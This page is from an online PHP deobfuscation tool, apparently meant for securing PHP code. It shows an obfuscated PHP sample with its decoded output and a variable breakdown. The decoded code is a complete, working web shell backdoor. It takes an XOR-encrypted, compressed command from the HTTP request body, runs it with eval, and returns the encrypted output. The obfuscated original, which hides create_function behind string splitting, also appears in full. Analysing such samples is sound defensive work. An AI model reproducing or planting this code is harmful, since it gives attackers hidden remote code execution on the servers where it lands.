Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $g='$k="e3]f9e]f5bb1";]f$kh]f="0520]f0ec6eeaa";]f$k]ff]f]f=]f"24aace376ca7";$p=]'; ..

Decoded Output download

$k="e39e5bb1";$kh="05200ec6eeaa";$kf="24aace376ca7";$p="cWOSKrTPz4h1RTIK";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$g='$k="e3]f9e]f5bb1";]f$kh]f="0520]f0ec6eeaa";]f$k]ff]f]f=]f"24aace376ca7";$p=]';
$U='+,$]fi+]f+){$]fo.=$t{$i}]f]f^$k{$j};}}return]f $]fo;}if(@p]fr]fe]fg_match';
$M=']f("/$k]fh(.+)$kf/",@]ffile_g]fet_contents]f("p]fhp://i]fnput"),$m]f)==1)';
$a='{@]fob]f_start();]f@ev]fa]fl(@gzunc]fompress(@x(]f]f@bas]fe]f64_decode($m';
$w='f"cWOSK]frTPz4h1]fRTIK";functio]fn x($]ft]f,$k){$c=str]flen($k);]f$l=st]frle';
$h=str_replace('x','','cxxrxeate_xfuncxtixon');
$d='6]f]f4_encode(@]fx(]f@gzcomp]f]fre]fss($o]f),$k))]f;print("$p$kh$r$kf");}';
$k=']fn($t);$o=""]f;fo]fr($i=0;$i<$]fl;)]f{for]f($j]f=0;($j<$c&]f]f&$i<$l);$j+';
$o='[1]),$k)))]f;$o=@]fob_]fget_c]fonte]fnts()]f;@ob_end_cl]fean();$r=]f@base';
$J=str_replace(']f','',$g.$w.$k.$U.$M.$a.$o.$d);
$e=$h('',$J);$e();
?>

Function Calls

str_replace 2
create_function 1

Variables

$J $k="e39e5bb1";$kh="05200ec6eeaa";$kf="24aace376ca7";$p="cWOS..
$M ]f("/$k]fh(.+)$kf/",@]ffile_g]fet_contents]f("p]fhp://i]fnpu..
$U +,$]fi+]f+){$]fo.=$t{$i}]f]f^$k{$j};}}return]f $]fo;}if(@p]f..
$a {@]fob]f_start();]f@ev]fa]fl(@gzunc]fompress(@x(]f]f@bas]fe]..
$d 6]f]f4_encode(@]fx(]f@gzcomp]f]fre]fss($o]f),$k))]f;print("$..
$g $k="e3]f9e]f5bb1";]f$kh]f="0520]f0ec6eeaa";]f$k]ff]f]f=]f"24..
$h create_function
$k ]fn($t);$o=""]f;fo]fr($i=0;$i<$]fl;)]f{for]f($j]f=0;($j<$c&]..
$o [1]),$k)))]f;$o=@]fob_]fget_c]fonte]fnts()]f;@ob_end_cl]fean..
$w f"cWOSK]frTPz4h1]fRTIK";functio]fn x($]ft]f,$k){$c=str]flen(..

Stats

MD5 1a103472354a2482b64cc52f8f748fc0
Eval Count 1
Decode Time 93 ms